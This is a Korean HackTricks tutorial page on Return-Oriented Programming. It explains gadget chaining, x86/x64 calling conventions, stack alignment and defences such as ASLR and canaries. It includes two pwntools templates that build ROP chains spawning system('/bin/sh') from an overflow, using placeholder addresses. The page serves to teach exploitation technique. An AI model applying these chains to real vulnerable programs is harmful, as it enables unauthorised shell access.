.. | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 굿즈를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
기본 정보
**Return-Oriented Programming (ROP)**은 No-Execute (NX) 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기법입니다. 공격자는 셸코드를 삽입하고 실행하는 대신, 이진 파일이나 로드된 라이브러리에 이미 존재하는 코드 조각인 **"가젯"**을 활용합니다. 각 가젯은 일반적으로 ret
명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.
ROP 작동 방식
- 제어 흐름 탈취: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.
- 가젯 체이닝: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출을 위한 인수 설정, 함수 호출 (예:
system("/bin/sh")
) 및 필요한 정리 또는 추가 작업을 포함할 수 있습니다. - 페이로드 실행: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
도구
일반적으로 ROPgadget, ropper 또는 pwntools (ROP)를 사용하여 가젯을 찾을 수 있습니다.
x86 예제에서 ROP 체인
x86 (32-bit) 호출 규칙
- cdecl: 호출자가 스택을 정리합니다. 함수 인수는 스택에 역순으로 푸시됩니다 (오른쪽에서 왼쪽으로). 인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.
- stdcall: cdecl과 유사하지만 호출된 함수가 스택을 정리합니다.
가젯 찾기
먼저, 이진 파일이나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심 있는 가젯은 다음과 같습니다:
pop eax; ret
: 이 가젯은 스택의 최상위 값을EAX
레지스터로 팝하고 반환하여EAX
를 제어할 수 있게 합니다.pop ebx; ret
: 위와 유사하지만EBX
레지스터를 위해,EBX
를 제어할 수 있게 합니다.mov [ebx], eax; ret
:EAX
의 값을EBX
가 가리키는 메모리 위치로 이동한 후 반환합니다. 이를 종종 write-what-where 가젯이라고 합니다.- 추가로,
system()
함수의 주소를 사용할 수 있습니다.
ROP 체인
pwntools를 사용하여 ROP 체인 실행을 위해 스택을 준비합니다. system('/bin/sh')
를 실행하도록 목표로 하는 ROP 체인이 다음과 같이 시작하는 방법에 주목하세요:
- 정렬 목적을 위한
ret
명령 (선택 사항) system
함수의 주소 (ASLR 비활성화 및 알려진 libc를 가정, 자세한 정보는 Ret2lib 참조)system()
에서의 반환 주소를 위한 자리 표시자"/bin/sh"
문자열 주소 (system 함수의 매개변수)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
x64(64비트) 호출 규약
- 유닉스류 시스템에서는 System V AMD64 ABI 호출 규약을 사용하며, 첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인자는 레지스터
RDI
,RSI
,RDX
,RCX
,R8
, 그리고R9
에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은RAX
에 배치됩니다. - Windows x64 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해
RCX
,RDX
,R8
, 그리고R9
를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은RAX
에 배치됩니다. - 레지스터: 64비트 레지스터에는
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, 그리고R8
부터R15
까지가 포함됩니다.
가젯 찾기
우리의 목적을 위해, RDI 레지스터를 설정하고(system() 함수에 "/bin/sh" 문자열을 전달하기 위함) system() 함수를 호출할 수 있는 가젯에 집중해봅시다. 다음 가젯들을 식별했다고 가정해봅시다:
- pop rdi; ret: 스택의 최상위 값을 RDI로 팝하고 반환합니다. **system()**에 대한 인자 설정에 필수적입니다.
- ret: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.
그리고 system() 함수의 주소를 알고 있다고 가정합니다.
ROP Chain
아래는 pwntools를 사용하여 x64에서 **system('/bin/sh')**를 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
스택 정렬
x86-64 ABI는 call 명령어가 실행될 때 스택이 16바이트 정렬되어 있음을 보장합니다. LIBC는 성능을 최적화하기 위해 SSE 명령어(예: movaps)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(RSP가 16의 배수가 아닌 경우), system과 같은 함수 호출이 ROP chain에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 system을 호출하기 전에 ret gadget을 추가하면 됩니다.
x86 대 x64 주요 차이점
{% hint style="success" %} x64는 처음 몇 개의 인수에 레지스터를 사용하기 때문에 간단한 함수 호출에는 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수가 증가하고 주소 공간이 더 커지기 때문에 더 복잡할 수 있습니다. x64 아키텍처의 증가한 레지스터 수와 더 큰 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 취약점 개발에 대한 기회와 도전을 제공합니다. {% endhint %}
ARM64 예제의 ROP chain
ARM64 기본 사항 및 호출 규칙
이 정보를 확인하려면 다음 페이지를 참조하십시오:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
ROP에 대한 보호
- ASLR & PIE: 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.
- 스택 카나리: BOF에서는 ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.
- 가젯 부족: 충분한 가젯이 없으면 ROP chain을 생성할 수 없습니다.
ROP 기반 기술
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세요. ROP를 기반으로 한 Ret2XXX 기술이 개발되었습니다:
- Ret2lib: 로드된 라이브러리에서 임의의 매개변수(일반적으로
system('/bin/sh')
와 같은 것)를 사용하여 임의의 함수를 호출하기 위해 ROP를 사용합니다.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: 시스템 호출(e.g.
execve
)을 준비하고 임의의 명령을 실행하기 위해 ROP를 사용합니다.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret 및 EBP Chaining: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 여기서는 주로 EBP 주소를 통해 흐름을 제어합니다(물론 EIP를 제어해야 합니다).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
기타 예제 및 참고 자료
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64비트, Pie 및 nx 활성화, 카나리 없음,
vsyscall
주소로 RIP 덮어쓰기, 스택에서 함수의 일부를 노출하는 주소의 일부를 얻기 위해 스택의 다음 주소로 반환하는 것이 목적 - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR 없음, ROP 가젯을 사용하여 스택을 실행 가능하게 만들고 스택에서 셸코드로 이동